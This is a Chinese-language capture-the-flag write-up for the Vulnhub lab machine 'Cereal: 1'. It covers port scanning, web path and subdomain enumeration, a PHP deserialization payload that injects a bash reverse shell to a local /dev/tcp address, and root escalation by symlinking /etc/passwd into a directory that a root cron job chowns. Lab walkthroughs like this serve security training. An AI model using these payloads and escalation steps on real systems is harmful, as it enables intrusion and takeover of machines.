预览Vulnhub 靶机篇:Cereal: 1
## 0x01 靶机信息> - **Name**:Cereal: 1
> - **发布日期**:2021 年 5 月 29 日
> - **作者**:Thomas Williams
> - **系列**:Cereal
> - **难度**:困难
> - **简介**:这台机器与我的普通机器有很大不同。它可能更现实,不像 CTF。不过,我将停止对我的盒子进行评分,因为对一个人来说困难的事情对另一个人来说很容易,反之亦然。如果您发现这很困难,请不要犹豫。这只是每个人都会在某个时刻跨越的学习步骤。不过这个盒子可能很难——它肯定不适合初学者。我希望你能学到新东西。慢慢来。要有耐心。打开初始 shell 后,请花时间了解环境。
> - **下载链接**:[https://cloud.caerdydd.wales/index.php/s/ArtHGJGANbXZ93y](https://cloud.caerdydd.wales/index.php/s/ArtHGJGANbXZ93y)
> - **MD5**:4DC3290F476587297C05D86370C5EF1A
> - **网络**:DHCP自动分配
## 0x02 Write-Up
### 2.1 信息收集
#### 2.1.1 主机扫描
靶机IP:192.168.181.170
使用nmap工具扫描
``` txt
nmap -sS -Pn -p- -A -T4 192.168.181.170
-sS 隐蔽扫描,-Pn 禁Ping,-p- 所有端口,-A 综合扫描,-T4 快速扫描
```
扫描结果中出现了非常多的端口:21、22、80、3306、44441和一些非正常端口
!(https://img-oss.hg021b.org/2024/10/24c0a4b683932b2207691964d0771e4d.png)
#### 2.1.2 访问ftp
在ftp中可以匿名登录,但是没有其他发现
!(https://img-oss.hg021b.org/2024/10/c29f18e40f0b1e52ebf61bcbc1eb56ba.png)
#### 2.1.3 访问http
在扫描结果中80和44441都是http端口,首先访问80
80是一个测试页面
!(https://img-oss.hg021b.org/2024/10/ca92a429dccf6a3af1f99c286e4dc7ea.png)
44441是一个未完成的页面
!(https://img-oss.hg021b.org/2024/10/1ae12a3682577cece47e2bb6ebe37c6c.png)
#### 2.1.4 ffuf枚举网站路径
首先对默认端口80的网页进行遍历扫描
```
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.181.170/FUZZ -e .html,.php -fs 426975
-c 使用颜色区分状态码
-w 设置字典
-u指定url
-e 指定扩展名
-fs 忽略为该大小的响应包
```
扫描发现admin和blog目录
!(https://img-oss.hg021b.org/2024/10/a9fc564a310e8387ca4fcc7d9f1505d8.png)
在blog目录中我们发现了域名cereal.ctf
!(https://img-oss.hg021b.org/2024/10/5de8da7b2f6dda8efdd62003bdfc9f96.png)
admin目录是一个登录框
!(https://img-oss.hg021b.org/2024/10/623641346be5bd8ea444fc0f38f8f4b8.png)
修改hosts
!(https://img-oss.hg021b.org/2024/10/6b1561acc892c4b0ef3d3f319ef4cd24.png)
使用域名访问网页发现并没有变化
!(https://img-oss.hg021b.org/2024/10/b6362e7f28477fb757d38e7483aeaf4f.png)
!(https://img-oss.hg021b.org/2024/10/fb99a4fb1169e6a3ffe78cd32fbebc87.png)
#### 2.1.5 gobuster枚举子域名
``` txt
gobuster vhost -u cereal.ctf -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --append-domain true
vhost虚拟主机模式,类似于dir的遍历,-w指定字典,--append-domain模式启用(用于增加前缀的遍历方式)
```
发现子域名secure.cereal.ctf:44441
!(https://img-oss.hg021b.org/2024/10/c7fdfbf60d815db62e81b2fd322318bf.png)
在hosts文件内添加解析后访问
!(https://img-oss.hg021b.org/2024/10/ff455fa89586e9faf7d24ec945d5fb21.png)
可以看到是一个ping test页面
!(https://img-oss.hg021b.org/2024/10/fd95b92e2c29403c071c0cbc8755419c.png)
#### 2.1.6 反序列化
在我尝试命令执行的时候反馈失败了,截包中发现传递了一个序列化
!(https://img-oss.hg021b.org/2024/10/7358966176242d382e4eacffca89a6b2.png)
url解码后,obj=O:8:"pingTest":1:{s:9:"ipAddress";s:6:"whoami";}
!(https://img-oss.hg021b.org/2024/10/d7902554595ae86e6d84799734cea9f8.png)
查看一下源代码,发现引用的另一个页面http://secure.cereal.ctf:44441/php.js
!(https://img-oss.hg021b.org/2024/10/a98f7fe0ff63585e8963e767ed4c0ee4.png)
这是一个可以序列化输入的脚本
!(https://img-oss.hg021b.org/2024/10/cfe00ce13db2a68c02dce1bc86210aba.png)
### 2.2 渗透路线
我们需要寻找一个序列化如何构造的文件
使用更大的字典,利用ffuf扫描
```
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://secure.cereal.ctf:44441/FUZZ
-c 使用颜色区分状态码
-w 设置字典
-u指定url
```
扫描到back_en目录
!(https://img-oss.hg021b.org/2024/10/7cfbb9497bfb831d5f4f406ce8d6bd52.png)
!(https://img-oss.hg021b.org/2024/10/96f9e87432b3558b6b8e3522c2244ce1.png)
在这个目录下针对文件再次扫描
```
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://secure.cereal.ctf:44441/back_en/FUZZ -e .bak,.html,.php
-c 使用颜色区分状态码
-w 设置字典
-u指定url
-e 指定扩展名
```
扫描到index.php.bak文件
!(https://img-oss.hg021b.org/2024/10/44bbd3c3d77aa4504af6f148091edd9a.png)
查看源代码
!(https://img-oss.hg021b.org/2024/10/f016ec263aa40ecc484de667ffb1a7c4.png)
```php
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
```
``` txt
上面的含义是有一个主体参数“obj”,如果传输带有obj就反序列化,如果没有创建一个新的pingTest
在pingTest的定义中,首先会判断isValid的值,然后会判断是不是IP,如果是的话就是True,默认isValid是False。如果通过判断会运行ping,然后执行shell命令。
所以我们只要发送isValid是True,跳过if语句,然后拼接命令就可以了。
```
#### 2.2.1 利用反序列化反弹shell
构建脚本生成语句
``` php
<?php
class pingTest {
public $ipAddress = " ; bash -c 'bash -i >& /dev/tcp/192.168.181.136/4444 0>&1'";
public $isValid = True; }
echo urlencode(serialize(new pingTest));
?>
```
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A58%3A%22+%3B+bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.181.136%2F4444+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
!(https://img-oss.hg021b.org/2024/10/57ed900a84761d14ff67b62d42e1af72.png)
在本地开启侦听
``` bash
nc -nlvp 4444
```
!(https://img-oss.hg021b.org/2024/10/f5b709e29493587b76da0a205f5340f1.png)
回到ping test页面,将我们构造的参数与之对换
!(https://img-oss.hg021b.org/2024/10/74779c28b2157c2f3ab503cd03cf32d9.png)
反弹成功
!(https://img-oss.hg021b.org/2024/10/82e24c7e333c0bbda3bf48131f23815c.png)
#### 2.2.2 升级shell
```
SHELL=bash script -q /dev/null
```
!(https://img-oss.hg021b.org/2024/10/7340bb6531339d6504b7fb340ca7eacf.png)
但本地其他提权信息查找无果
#### 2.2.3 利用pspy64s脚本获取更多信息
本地开启http服务
``` pyhton
python3 -m http.server 80
```
!(https://img-oss.hg021b.org/2024/10/7bacb44e323c320fe6c454ee18f0dc2b.png)
下载文件
``` txt
wget http://192.168.181.136/pspy64s
```
!(https://img-oss.hg021b.org/2024/10/b6f0c4ae95970f1d9752647b267e41de.png)
增加执行权限并执行
``` bash
chmod +x pspy64s
./pspy64s
```
!(https://img-oss.hg021b.org/2024/10/35f9a03cdcf18406ea28f412afaa429a.png)
发现了一个以root用户执行的一个chown脚本
!(https://img-oss.hg021b.org/2024/10/26e2aaadc793bcaa35795d5e25677ae8.png)
!(https://img-oss.hg021b.org/2024/10/d8a62105587c72b4801c7d5f8e33cd83.png)
``` txt
chown rocky:apache /home/rocky/public_html/*
改变/home/rocky/public_html目录下文件和目录的拥有者与所属组
其中一个所属组是我们用户的组
```
!(https://img-oss.hg021b.org/2024/10/f103fd5fef25194da70229bc016312a5.png)
这个脚本本身我们是无法修改的
!(https://img-oss.hg021b.org/2024/10/c0cf8815cb450067252b6c704b3fc56f.png)
#### 2.2.4 利用链接的属性获得权限
因为更改链接文件的所有者会更改原文件的拥有者,passwd文件的组是有写权限的,所以我们直接链接passwd文件
!(https://img-oss.hg021b.org/2024/10/882aabc202bbf9ab4bae1f999d03dff1.png)
``` bash
ln -s /etc/passwd /home/rocky/public_html/passwd
```
!(https://img-oss.hg021b.org/2024/10/cc06fe62925e68ad432b7485c30d59b2.png)
脚本执行成功,在pspy64s脚本中可以发现,命令每十分钟执行一次
!(https://img-oss.hg021b.org/2024/10/bf91f30517ef77721f37d66d2751be27.png)
修改passwd文件,将root用户密码删除
!(https://img-oss.hg021b.org/2024/10/fe2ddb9c19918af6b4ebfc243c990abb.png)
#### 2.2.5 提权root成功
登录root
```
su - root
```
获得root flag
!(https://img-oss.hg021b.org/2024/10/c74a06b2796727dcbab4ca0dd1d8ddf3.png)
获得用户flag
!(https://img-oss.hg021b.org/2024/10/14111669c646b29407cf9ebe783f7635.png)
页:
[1]